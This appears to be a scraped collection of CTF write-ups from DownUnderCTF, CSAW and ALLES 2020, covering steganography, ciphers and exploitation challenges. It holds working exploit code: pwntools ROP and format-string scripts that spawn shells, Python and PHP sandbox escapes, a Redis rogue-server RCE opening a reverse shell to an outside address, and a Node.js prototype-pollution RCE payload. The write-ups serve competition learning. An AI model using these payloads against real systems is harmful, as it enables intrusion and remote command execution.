def rot13(text): rot = '' for i in text: if i.isalpha(): rot += chr((ord(i) - ord('A') - 13) % 26 + ord('A')) else: rot += i return rot
flag = rot13(text)
print(flag)
# DUCTF{HUMBLE_M3M3_1ORD}``` |
You can get the twitter account using (sherlock)[https://github.com/sherlock-project/sherlock].
Then check the deleted post using:
https://web.archive.org/web/20200723112257/https://twitter.com/und3rm4t3r/
```DUCTF{w4y_b4ck_1n_t1m3_w3_g0}``` |
# Spot the Difference
Author: [roerohan](https://github.com/roerohan)
## Source
```Author: TheDon
An employee's files have been captured by the first responders. The suspect has been accused of using images to leak confidential infomation, steghide has been authorised to decrypt any images for evidence!```
## Exploit
Upon unzipping, you can see a broken png called `Publish/.config/Reminder.png`. When you check it's hexdump, you notice that the first 4 bytes of the `png` are not correct. Fix them using `hexedit Reminder.png` to make them `89 50 4E 47`.
```00000000 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D .PNG........0000000C 49 48 44 52 00 00 02 F6 00 00 00 28 IHDR.......(00000018 08 06 00 00 00 95 4A BE 56 00 00 0F ......J.V...00000024 94 49 44 41 54 78 01 ED 9D BB 6E E3 .IDATx....n.00000030 3C 16 C7 8F 17 DF 43 EC F6 36 06 53 <.....C..6.S0000003C E4 01 EC 07 58 20 C1 14 53 A5 9C 52 ....X ..S..R00000048 E9 16 71 91 62 17 48 95 32 85 D3 C6 ..q.b.H.2...```
Now, you can see the png. The password contains `1cmVQ`. There are a lot of base64 strings in `Public/.config/secret/`. Use grep to find the right string.
```bash$ grep -rs 1cmVQ31/5.txt:CjEyMzRJc0FTZWN1cmVQYXNzd29yZA==```
Decode this to find the password.
```bash$ echo CjEyMzRJc0FTZWN1cmVQYXNzd29yZA== | base64 -d
1234IsASecurePassword```
Now, go through all the files in `Publish/badfiles` and extract them using steghide with the obtained password. One of them will give you a file, which you can read to get the flag.
```pyimport osimport subprocesspassword = '1234IsASecurePassword'
x = os.listdir('./Publish/badfiles')
for i in x: subprocess.call([ 'steghide', 'extract', '-sf', f'./Publish/badfiles/{i}', '-p', password, ])
print(open('./SecretMessage.txt').read()) ```
The flag is:
```DUCTF{m0r3_th4n_M33ts_th3_ey3}``` |
# Return to what
Author: [roerohan](https://github.com/roerohan)
## Source
```Author: Faith
This will show my friends!
nc chal.duc.tf 30003```
## Exploit
Ret2libc ROP, but you have to find the libc version online. (I used (libc.rip)[https://libc.rip/])
```pyfrom pwn import *
local = False
host = 'chal.duc.tf'port = 30003
elf = ELF('./return-to-what')rop = ROP(elf)
if local: p = elf.process() libc = ELF('/usr/lib/libc.so.6')else: p = remote(host, port) libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
PUTS_PLT = elf.plt['puts']MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]RET = rop.find_gadget(['ret'])[0]
OFFSET = b'A' * (0x30 + 0x8)
log.info("puts@plt: " + hex(PUTS_PLT))log.info("main@plt: " + hex(MAIN_PLT))log.info("POP RDI: " + hex(POP_RDI))
def get_addr(func_name): FUNC_GOT = elf.got[func_name] rop_chain = [ POP_RDI, FUNC_GOT, PUTS_PLT, MAIN_PLT, ]
rop_chain = b''.join([p64(i) for i in rop_chain]) payload = OFFSET + rop_chain print(p.clean()) print(payload)
p.sendline(payload)
received = p.recvline().strip() leak = u64(received.ljust(8, b'\x00')) libc.address = leak - libc.symbols[func_name]
return hex(leak)
log.info('Leak: ' + get_addr('puts'))log.info('Libc base: ' + hex(libc.address))
BIN_SH = next(libc.search(b'/bin/sh'))SYSTEM = libc.symbols['system']EXIT = libc.symbols['exit']
ROP_CHAIN = [ RET, POP_RDI, BIN_SH, SYSTEM, EXIT,]
ROP_CHAIN = b''.join([p64(i) for i in ROP_CHAIN])
payload = OFFSET + ROP_CHAIN
print(p.clean())print(payload)
p.sendline(payload)
p.interactive()```
You get a shell.
```bash[*] Switching to interactive mode$ lsflag.txtreturn-to-what$ cat flag.txtDUCTF{ret_pUts_ret_main_ret_where???}```
The flag is:
```DUCTF{ret_pUts_ret_main_ret_where???}``` |
* The path to solution lies in thinking about the `plaintext xor IV` before the AES encryption process .* We had to manage to somehow get the `set of same bytes` that were going to be encrypted as of `'cashcashcashcash' xor IV` . We can feed the appropriate `IV` to the program in order to do so .* Our IV that we will send would be `'flagflagflagflag' xor 'cashcashcashcash' xor IV` so that when we send message as `'flagflagflagflag'` , we can still get the same hash as in message` 'cashcashcashcash'` . |
Explanation on GitHub: https://github.com/csivitu/CTF-Write-ups/tree/master/DUCTF/crypto/hex-cipher-shift
```pyALPHABET = '0123456789abcdef'
def gen_rules(ciphertext, plaintext): x = plaintext y = ciphertext[:len(plaintext)] s = 7
xor_rules = [] xor_res = [] for i in range(len(plaintext)): tmp = f"k.index('{x[i]}') ^ {s} = k.index('{y[i]}')".split(' = ') xor_rules.append(tmp[0]) xor_res.append(tmp[1]) s = f"k.index('{x[i]}')" return xor_rules, xor_res
def decrypt(ciphertext, key): s = 7 plaintext = '' for i in range(len(ciphertext)): p = key[key.index(ciphertext[i]) ^ s] s = key.index(ciphertext[i]) ^ s plaintext += p
return plaintext
def rotate(l, n): return l[-n:] + l[:-n]
def get_key(xor_rules, xor_res, plaintext): k = list(ALPHABET)
while plaintext not in decrypt(ciphertext, k): k = rotate(k, 1)
for i in range(len(xor_rules)): xorred = eval(xor_rules[i])
if xorred != eval(xor_res[i]): tmp = k[xorred] tmp_ind = eval(xor_res[i]) k[xorred] = xor_res[i][9] k[tmp_ind] = tmp return k
plaintext = b'The secret message is:'.hex()
ciphertext = '85677bc8302bb20f3be728f99be0002ee88bc8fdc045b80e1dd22bc8fcc0034dd809e8f77023fbc83cd02ec8fbb11cc02cdbb62837677bc8f2277eeaaaabb1188bc998087bef3bcf40683cd02eef48f44aaee805b8045453a546815639e6592c173e4994e044a9084ea4000049e1e7e9873fc90ab9e1d4437fc9836aa80423cc2198882a'
xor_rules, xor_res = gen_rules(ciphertext, plaintext)
k = get_key(xor_rules, xor_res, plaintext)
print('[Key]\n' + ''.join(k))msg = decrypt(ciphertext, k)print('[MESSAGE]\n' + bytes.fromhex(msg).decode())``` |
# I Love Scomo
Author: [roerohan](https://github.com/roerohan)
## Source
```I really do love Scott Morrison! <3 <3 <3
However, some people don't like me because of my secret crush :(. So I have to hide my secrets using steganography. This is my hidden space, where I can dream about being with Scomo and I really appreciate that no one tries to reveal my secret message for him.```
## Exploit
In the challenge description, `hidden space` was in bold. This might be useful later.
First, you can use `stegcrack` to extract a `txt` file out of the image. The `txt` file is present in [ilovescomo.jpg.out](./ilovescomo.jpg.out).
In this, you will notice that some lines have a white space in the end, and some do not. This makes sense because `hidden space` was written in bold in the description. We assume that a white space means `1` and the absence of a white space means `0`. Then we convert the obtained binary string to ASCII to get the flag.
```py# Get ilovescomo.jpg.out using stegcracktext = open('./ilovescomo.jpg.out', 'r').read().split('\n')
l = ['0'] * len(text)
for i in range(len(text)): if text[i] == '': continue if text[i][-1] == ' ': l[i] = '1'
print(''.join(l))
l = [chr(int(''.join(l[i:i+8]), 2)) for i in range(0, len(l), 8)]
print(''.join(l))``` |
This was intended to be a beginner challenge accessible to anyone even without any crypto experience.
tdlr;- there are lots of things that we can notice about the ciphertext- the first word has an apostrophe, we can probably guess that it says "You're" or "You've"- trying to find a pattern (and taking hints from the title), we can see that each character is shifted by its index in the ciphertext (excluding punctuation and spaces)- some manual work can be avoided by considering only the part of the ciphertext that looks like the flag
[DUCTF GitHub](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/rot-i)
[writeup](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#rot-i) |
1. List all files and directories in the current directory
`().__class__.__mro__[1].__subclasses__()[200]()._module.__builtins__['__import__']('os').listdir()`
2. Read main.py to get the flag
`open('main.py').read()`
3. Here is the flag
`DUCTF{3v4L_1s_D4ng3r0u5}` |
[https://github.com/vakzz/ctfs/blob/master/DownUnder2020/my%20first%20echo%20server/solv.py](https://github.com/vakzz/ctfs/blob/master/DownUnder2020/my%20first%20echo%20server/solv.py)
```python#!/usr/bin/env python3# pylint: disable=unused-wildcard-import
import sysimport osfrom pwn import *
def exec_fmt(payload): p.sendline(payload) return p.recvline()
def exploit(): p.sendline("%3$p") read17 = int(p.recvline(), 16) log.info("read: 0x{:x}".format(read17 - 17)) libc.address = read17 - libc.symbols['read'] - 17 log.info("libc.address: 0x{:x}".format(libc.address))
payload = fmtstr_payload(8, { libc.address+0x3eb048-4: (libc.symbols["system"] & 0xffffffff) << 32 }, numbwritten=0, write_size='short')
print(len(payload)) p.sendline(payload) p.sendline("/bin/sh;") p.interactive()
if __name__ == "__main__": context.terminal = ["tmux", "sp", "-h"] context.arch = "amd64"
name = "./echos"
if len(sys.argv) > 1: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False) binary = ELF(name, checksec=False) p = remote("chal.duc.tf", 30001) else: binary = ELF(name, checksec=False) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False) p = process(name, env={}) gdb.attach(p, gdbscript=""" """) exploit() ``` |
I haven't written anything in a long time. More than a year has passed since my last post, and more than 3 years since my first one.
However, I decided to start writing some writeups for CTFs again. This is the first one I'll be doing: CSAW quals. For this CTF, I was part of the team M@dHatters for this CTF, which was the team associated with Gatech's GreyHat club.
We were in the lead for a while in the middle, but then ran out of web and crypto problems to solve and everyone got near 100% completion. I'm still salty about that.
Web Real Time Chat450 points, Web
This was a very interesting problem with very little guessing, compared to the two lower point webs, which were a guessfest. From the Docker configuration provided, we were able to figure out that there was a TURN server on the machine. It turns out that TURN is a protocol used for getting through NATs. That sounds very much like a proxy, and we could use it as such.Unfortunately, I couldn't find many tools to interface with TURN, so I settled on an "a bit flaky" (but semi-functioning) proof-of-concept to convert a TURN server into an HTTP proxy called Turner on GitHub. Proxychains came in really useful after that - I made a copy of proxychains.conf and replaced all proxy servers to http 127.0.0.1 8080, the Turner server. Knowing that the docker container had an open port on port 5000, I was able to map the internal Docker network by accessing port 5000 on the lower few values of 172.17.0.0. The first challenge (widthless) was available on 172.17.0.4:5000, the third was available from 172.17.0.2:5000, and this challenge was available from 172.17.0.3:5000. As we can see, by curling 172.17.0.3:5000, we were able to get the HTML source of the website. (Note: turner is not 100% reliable, so it sometimes fails)```$ proxychains curl 172.17.0.3:5000[proxychains] config file found: /home/id01/Downloads/CTF/csaw2020_git/webRTC/turner-master/proxychain/proxychains.conf[proxychains] preloading /usr/lib/libproxychains4.so[proxychains] DLL init: proxychains-ng 4.14[proxychains] Strict chain ... 127.0.0.1:8080 ... 172.17.0.3:5000 ... OK <html> <head> <title>Real Time Chat</title> </head>
<body> <div id="container"> <h1>Real Time Chat</h1>
<h3 id="status"></h3>
<textarea id="dataChannelReceive" style="width: 100%" disabled></textarea>
<div id="send"> <input type="text" id="dataChannelSend" placeholder="Send a message" disabled></input> <button id="sendButton" disabled>Send</button> </div> <hr/>
<button id="closeButton" disabled>Disconnect</button> </div>
<script src="https://webrtc.github.io/adapter/adapter-latest.js"></script> <script src="static/rtc.js"></script> </body></html>```Now, through the Dockerfile, we know that there is a redis server installed on this machine too, but not exposed to the outside world. However, it is exposed to the internal docker network, and due to lack of username/password configuration, can be connected to and used by anyone. I tried connecting to it with```$ proxychains redis-cli -h 172.17.0.3a few times, but that went nowhere, as I would get some gibberish output followed by a connection drop. So, I familiarized myself with the redis protocol.It turns out that the redis protocol is just nicely-formatted commands and outputs with some length pre-specifications. Here is an example of a redis request and response (everything after # not part of the protocol):*2\r\n # Redis requires a CRLF instead of just LF for line separations. This is represented by \r\n. This specifies a command with two arguments (including the command itself)$4\r\n # This specifies that the next line will be 4 characters in length.KEYS\r\n # This is the redis KEYS command, which prints out keys.$1\r\n # This specifies that the next line will be 1 character in length.*\r\n # KEYS * prints out all the keys.After querying the server a few times, it turns out that there isn't any data in the database that contains the flag, even after making a script to dump the entire database:$ cat tryHard.sh#!/bin/sh
./turner -server web.chal.csaw.io:3478 2>&1 | grep channel &A=$!sleep 1REDISRES="$(echo -ne '*2\r\n$4\r\nKEYS\r\n$1\r\n*\r\n' | proxychains nc 172.17.0.3 6379)"NUMARGS=$(("`echo $REDISRES | grep '\*' | tr -d '*'`" + 1))ARGS="`echo $REDISRES | grep '\$' -A1`"echo -ne "*$NUMARGS\r\n\$4\r\nMGET\r\n$ARGS" | proxychains nc 172.17.0.3 6379proxychains curl 172.17.0.3:5000kill $A &>/dev/nullsleep 0.25I guess we needed RCE. Through Google, I found a script that promised that for Redis v4-v5, and a binary to go along with it. If we send an INFO query to the server, it says it's running on redis v4. Perfect.Unforunately, due to the HTTP server being finnicky and connections getting dropped, I had to restart the redis connection after every single request is sent. For that, I had to modify the script to support multiple commands at once, and not reuse the same connection: def do(self, cmd): toSend = "" if type(cmd) == str: toSend = mk_cmd(cmd) else: for c in cmd: toSend += mk_cmd(c) self.send(toSend) # Added multi-command functionality buf = self.recv() return buf
...snip...
remote.do(("SLAVEOF {} {}".format(lhost, lport), "CONFIG SET DIR /tmp/", "CONFIG SET dbfilename {}".format(expfile))) # Compressed multiple requests into one printback(remote) sleep(2) print("[*] Start listening on {}:{}".format(lhost, lport)) rogue = RogueServer(lhost, lport, remote, expfile) print("[*] Tring to run payload") rogue.exp() sleep(2) remote = Remote(rhost, rport) # Restart the connection on every request remote.do("MODULE LOAD /tmp/{}".format(expfile)) remote = Remote(rhost, rport) rsaddr = "1.2.3.4" # Totally my IP address rsport = 1338 remote.do(("SLAVEOF NO ONE", "system.rev {} {}".format(rsaddr, rsport))) # Open reverse shell right away```After making the modifications, though, the server was still having a problem with loading the module. I believed this was because Alpine Linux, Docker's default container, uses musl instead of glibc, so is incompatible with binaries compiled for my system. I solved this by downloading musl-gcc from the Arch repos and cross-compiling.```$ make CC=musl-gcc # Note that the output shows the commands now use musl-gcc....snip...musl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o util.o util.cmusl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o strings.o strings.cmusl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o sds.o sds.c...snip...```By uploading our new musl-compiled payload, we get back a reverse shell at port 1338 on our machine.```$ proxychains python2 redis-rce.py -r 172.17.0.3 -p 6379 -L 1.2.3.4 -P 1337 -f exp_musl.so -v[proxychains] config file found: /home/id01/Downloads/CTF/csaw2020_git/webRTC/redis-rce-master/proxychains.conf[proxychains] preloading /usr/lib/libproxychains4.so[proxychains] DLL init: proxychains-ng 4.14
█▄▄▄▄ ▄███▄ ██▄ ▄█ ▄▄▄▄▄ █▄▄▄▄ ▄█▄ ▄███▄ █ ▄▀ █▀ ▀ █ █ ██ █ ▀▄ █ ▄▀ █▀ ▀▄ █▀ ▀ █▀▀▌ ██▄▄ █ █ ██ ▄ ▀▀▀▀▄ █▀▀▌ █ ▀ ██▄▄ █ █ █▄ ▄▀ █ █ ▐█ ▀▄▄▄▄▀ █ █ █▄ ▄▀ █▄ ▄▀ █ ▀███▀ ███▀ ▐ █ ▀███▀ ▀███▀ ▀ ▀
[*] Connecting to 172.17.0.3:6379...[proxychains] Strict chain ... 127.0.0.1:8080 ... 172.17.0.3:6379 ... OK[*] Sending SLAVEOF command to server[+] Accepted connection from 127.0.0.1:8080[*] Setting filename[<-] '*3\r\n$7\r\nSLAVEOF\r\n$13\r\n1.2.3.4\r\n$4\r\n1337\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\nDIR\r\n$5\r\n/tmp/\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$11\r\nexp_musl.so\r\n'[->] +OK+OK+OK
[+] Accepted connection from 127.0.0.1:8080[*] Start listening on 1.2.3.4:1337[*] Tring to run payload[+] Accepted connection from 216.165.2.41:42015[->] PING
[<-] '+PONG\r\n'[->] REPLCONF listening-port 6379
[<-] '+OK\r\n'[->] REPLCONF capa eof capa psync2
[<-] '+OK\r\n'[->] PSYNC 55427622da7ebca4741e350aaac1f5828e4b884f 1
[<-] '+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 0\r\n$46672\r\n\x7fELF\x02......x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'[proxychains] Strict chain ... 127.0.0.1:8080 ... 172.17.0.3:6379 ... OK[<-] '*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$16\r\n/tmp/exp_musl.so\r\n'[->] +OK
[proxychains] Strict chain ... 127.0.0.1:8080 ... 172.17.0.3:6379 ... OK[<-] '*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n*3\r\n$10\r\nsystem.rev\r\n$13\r\n1.2.3.4\r\n$4\r\n1338\r\n'^CTraceback (most recent call last): File "redis-rce.py", line 281, in <module> main() File "redis-rce.py", line 276, in main runserver(options.rhost, options.rport, options.lhost, options.lport) File "redis-rce.py", line 231, in runserver remote.do(("SLAVEOF NO ONE", "system.rev {} {}".format(rsaddr, rsport))) File "redis-rce.py", line 89, in do buf = self.recv() File "redis-rce.py", line 79, in recv return din(self._sock, cnt) File "redis-rce.py", line 37, in din msg = sock.recv(cnt)KeyboardInterrupt```And on our reverse shell:```$ nc -lp 1338lsbryce_was_here.sodadadadad.sodadadadad2.soexp_lin.soexp_musl.socd /lsappbinbootdevetcflag.txthomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvarcat flag.txtflag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}``` |
tldr;- known plaintext attack against consecutive digrams shift cipher- set up a system of equations representing the constraints on the key- solve the system of equations to recover potential keys
[DUCTF GitHub](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/hex-shift-cipher)
[writeup](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#hex-shift-cipher) |
```pythonfrom pwn import *context.binary = 'shellthis'r = remote('chal.duc.tf', 30002)r.sendlineafter('name: ', pack(context.binary.symbols['get_shell']).rjust(0x40))r.interactive()``` |
# Jailoo Warmup
## Description
- Category: web- Points: 442/500- Solved by: drw0if, 0xThorn
## Writeup
As said in the challenge description, the objective is to get the content of `FLAG.PHP`
The website is very simple: it only contains a textbox and a submit button.
First we have a look at the provided source code:
```PHPCommand executed !</div>"; eval($cmd); } else { die("<div class=\"error\">NOT ALLOWED !</div>"); } } else { die("<div class=\"error\">NOT ALLOWED !</div>"); }} else if ($_SERVER['REQUEST_METHOD'] != "GET") { die("<div class=\"error\">NOT ALLOWED !</div>");}```
As seen in the source code, the text inserted in the textbox will be executed with an `eval`, but only if it contains `$()_[]=;+".`, because of the regex.
After some research on google, it seems that you can create code without using letters. The strategy is to assign a letter to a variable and then increase its value to get all the letters. Then by concatenating them it is possibile to write anything.
The first problem is how to get a letter, preferably `A`.
```PHP$_=[]; // Create an array$_="$_"; // $_ = Array$_=$_["."+"."]; // $_ = $_[0] (because "."+"." returns an error) = A```
From now on it is easy to get any letter. For example if we need a C we can do:
```PHP$__=$_; // A$__++;$__++; //C (A increased two times)```
Now it comes the tricky part: writing an exploit. Writing all the code by hand is slow, so we wrote a script that can encrypt the strings we want.
```PYTHONdef encodeString(payload, variableName): # Payload is the string to be encoded, the variableName is generally '___' (a certain number of underscores) payload = payload.upper()
ans = '$' + variableName + '="";' # Initializes the variable
for c in payload: if c in '$()_[]=;+.': # If it is an allowed character it just concatenates it ans += '$' + variableName + '.="' + c + '";'
else: # Otherwise it creates the letter starting from the 'A' offset = ord(c) - ord('A') ans += '$__=$_;' ans += '$__++;' * offset ans += '$' + variableName + '.=$__;'
return ans```
Finally comes the part that took the most time away: choosing the function to be called. After some struggle with `print`, `echo` and `file_get_contents`, the best solution turned to be `readfile('FILE.PHP');`
Putting it all together, to obtain a working code we had to init a variable with `A`, create two variables for `readfile` and `file.php` and then put them together with something like `$___($_____);`. The final code of the script is in this repository.
The result is this mess: `$_=[];$_="$_";$_=$_["."+"."];$___="";$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$___.=$__;$__=$_;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$_____="";$__=$_;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$_____.=".";$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$___($_____);`
By pasting that string in the textbox and pressing execute, we were able to fing the flag in the page code.
 |
tldr;- flag is encrypted using a Goldwasser-Micali cryptosystem- to decrypt, we need to factorise the given `n`- we are given a `hint = int(D*sqrt(p) + D*sqrt(q))` where `D` is some known constant- we can use `hint` to recover an approximation for `p` and `q`- combining the upper bits of `p` and `q` with the fact that `n = pq`, we can use Coppersmith's theorem to recover `p` and `q` completely- decrypt the ciphertext to get the flag! [DUCTF GitHub](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/1337crypt)
[writeup](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#1337crypt) |
# ALLES CTF 2020
#### Challenges
[Push](#push) [OnlyFreights](#onlyfreights) [Pyjail_ATricks](#pyjail_atricks) [Pyjail_Escape](#pyjail_escape)
## Push
https://push.ctf.allesctf.net/
Upon opening the challenge link, there is nothing much to see:
At first, i couldn't figure out what's going on, but when i `curl`'ed it,there is something interesting
The server is using HTTP/2, which is very unusual.
Now it's clear, refering back to the challenge's title.The server is obviously using `HTTP Server Push`
Basically, Server push allows sites to send assets to the user before the user asks for it, so when we request /index.html,the server can request others ressources, in our case, the FLAG.
<h4> So how do we get the flag ?</h4>
Most nowadays tools and proxies like Burp doesn't support HTTP/2,that's why no matter what proxy you use, you can't see the hiddenrequests.
The way i solved it is by using Chrome Net Export tool
We start Logging, refresh the challenge page, then stop logging.a file will be generated, and that's it
A file will be generated, it contains all the requests done during the logging, let's search for the flag:
**FLAG:** `ALLES{http2_push_dashdash_force}`
## OnlyFreights
Description:
```Check out my OnlyFreights! A website to classify all the freight ships.
NOTE: There is a secret cargo stored at /flag.txt,
but you need to convince the /guard executable to hand it to you!
Challenge Files: only-freights.zip```
##Writeup
### PART1: Getting an RCE
First thing i did, was to check the site ... nothing interesting,then i started reading the code. it's a Node/Express.Js app,with 3 Routes:
With the second route, we can Add/Edit objects.And the third route, apparenlty it's just spawning a child processand executing the `ps` command.
With some googling, we find out it's a `Javascript Prototype Pollution` attack, that can lead us to an RCE if we combine it with the last Route.
First things first, what is a Prototype Pollution ?
Javascript allows ALL Object attributes to be modified, including the magic attributes like `constructor`, `prototype`, and `__proto__`. And because all objects in JS inherits from `Object`, any change in the prototype of `Object` will automatically apply toall future created objects.
Let's have some examples:
`guest` doesn't have an `isAdmin` property, So when we pollute the prototype by adding a new property, and then if we try to access `isAdmin` which is not present in `guest` it will automatically look up to the base object which NOW has the `isAdmin` set to `true`
Here is another example, this time by changing the toString() method:
Basically, `Prototype Pollution` helps the attacker to manipulate attributes, by overwriting, or polluting, a JavaScript object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain.
Okay so how will this help us get an RCE ?
Changing some attributes is great, but in this case it's not really helpful.
We need to find what attributes we can pollute to triggera command execution when spawning a child process.
The answer is: `ENVIRONMENT variables`
But why ?
When reading the [official documentation](https://nodejs.org/api/child_process.html) of child processes in Nodejs.We can see that when we spawn a new process, we can specify certain options, and guess what ? they have DEFAULT valeus:
The ones that interrest us the most are `env` and `shell`, focus with me:
if `env` is not defined, `process.env` will be used, so if we pollute the `protoype` with some `env` variables, it will use the ones we defined and not `process.env`
and if `shell` is not defined, `/bin/sh` will be used, but that's not what we want, we need to pollute it with `node` as a value, because we want to execute Javascript code.
What are the env variables we need to inject ?
This is a tricky part, it turns out, the `node` cli allows to use the env variable named `NODE_OPTIONS`, it allows to specify certain options for the `node` command. such as `--eval` and `--require`, but sadly `--eval` is not allowed within `NODE_OPTIONS`, probably to prevent this exact attack :3You can check the full list of options [here](https://nodejs.org/api/cli.html)
We are left with `--require`, it will include and execute an external JS file .... Hmmm, but what can we include ?
Why not create an env variable with a Node.JS code, and use `--require` to include `/proc/self/environ`
YEAH !!! THIS IS EXACTLY THE WAY TO GO
Note: this is why we have to set `shell` to `node`, otherwise, `NODE_OPTIONS` will just be ignored.
Let's try it:
Pollute `shell`
Pollute `env`
Check OUTPUT:
And with a Shell execution:
```JSON{"aaaa":"console.log(require('child_process').execSync('ls').toString());//"}```
Et VOILA!
We have a pretty good Command Execution.
What's next ?
We're finished with PART1Yeah, yeah, and this is the easiest part,the hardest is yet to come.
### PART 2: Reading the flag
It's not as simple as executing `/guard`,if you take a look at the source code, to get the flagwe have to execute `/guard` and interact with it, we haveto give the correct answer for the sum of two random numbers:
The first thought of course is to get a reverse shell, and directly interract withthe binary, but it's not possible, at least i couldn't, and it is not the intended solution anyway.
The easiest solution is to use python with subprocess module, but sadly `python` isnot installed on the server. so the only left solution is to use pure `sh` with `named pipes`.
The steps are as follows:
1. create two pipes: `pin` and `pout`, one for `stdin` and one of `stdout`2. run `/guard` in the background and redirect its `stdin` and `stdout` to the two pipes created3. read the two random numbers from `pout`4. Calculate the sum, and send it to `pin`5. read the response from `pout` which should be the flag.
```bash#!/bin/shmkfifo /tmp/pout /tmp/pin 2> /dev/nullexec 3<> /tmp/poutexec 4<> /tmp/pin./guard > /tmp/pout < /tmp/pin &read -t 1 out <&3# ${out%?} to remove last letter; and $((${out%?})) to eval the sumecho $((${out%?})) > /tmp/pinread -t 1 out <&3echo $out```
I tried this locally, it worked and showed me the fake flag. but running this on the server didn't work, i couldn't understand, I struggled a lot with this step, changed script little, nothing worked.
I almost gave up on this challenge, but then i wanted to give it another shot, i decided to start over, with the same steps as above BUT this time, i waned a One-line script that does all of the above steps.
I came up with:
```bashmkfifo /tmp/pipe
cat /tmp/pipe | /guard | (read -t 1 out; echo $((${out%?})) > /tmp/pipe; cat)```
Explanation:
Because of the pipes, the command will be executed from right to left, so first:`(read -t 1 out; echo $((${out%?})) > /tmp/pipe; cat)` is executed.the command `read` takes input from stdin and store in `$out`, and in thiscase `stdin` is the outpout of `/guard` i.e the two random numbers, then the sum iscalculated, and the result is stored in `/tmp/pipe`.after that, `/guard` will take input from `stdin` which is passed from the `/tmp/pipe` which now contains the result of the sum.
Guess what ?Even this code works only locally, not on the server :3But this time it shows `Wrong!`.At Least that's an improvement, we get to see an output Lool
After some debugging, i found out that somehow `read` is not taking the output of `./guard`.I still don't know why.So i had to change `read` with something equivalent.I thought let's try reading directly from `/dev/stdin`
```bashcat /tmp/pipe | /guard | (l=$(head -c 24 /dev/stdin); echo $((l)) > /tmp/pipe;cat)```
**Note:** I'm using `head -c 24` to take exactly the amount of characters i need, without the `=` symbol
Let's try this time:
```JavaScript
{ "value":{ "aaaa":"console.log(require('child_process').execSync('cat /tmp/pipe | /guard | (l=$(head -c 24 /dev/stdin); echo $((l)) > /tmp/pipe;cat)').toString());//", "NODE_OPTIONS":"--require /proc/self/environ" }}```
**Flag:** `ALLES{Gr3ta_w0uld_h4te_th1s_p0lluted_sh3ll}`
# Pyjail_ATricks
**Description**
```Run the secret function you must! Hrrmmm. A flag maybe you will get.```
**Solution**
After connecting to the server, we quickly notices lot of chars are filtered
So i typed all of printable chars to get the blacklisted and whitelisted chars:
```>>> a = 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~4568bfhjkmquwxyzbfhjkmquwxyz!#$%&*,-/:;<=>?@\^`{|}~Denied```
From this we extract the white listed chars:
```012379acdegilnoprstv"'()+.[]_```
First i wanted to print `__builtins__` but `b` and `u` are blacklisted, so i replaced `b` with `eval.__doc__[37+9+1]` and `u` with `eval.__doc__[3+1]`
```python>>> a = eval("print(__"+eval.__doc__[37+9+1]+eval.__doc__[3+1]+"iltins__.__dict__)"){'repr': <built-in function repr>, 'str': <class 'str'>, 'print':<built-in function print>, 'eval': <built-in function eval>,'input': <built-in function input>, 'any': <built-in functionany>, 'exec': <built-in function exec>, 'all': <built-in functionall>, 'Exception': <class 'Exception'>}```
I quickly noticed that `input` is allowed, let's use it:
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES()No flag for you!```
Probably it expects an argument.So Let's inspect the function ALLES
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES.__code__.co_consts(None, 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', 'No flag for you!')
>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES.__code__.co_names('string_xor',)```
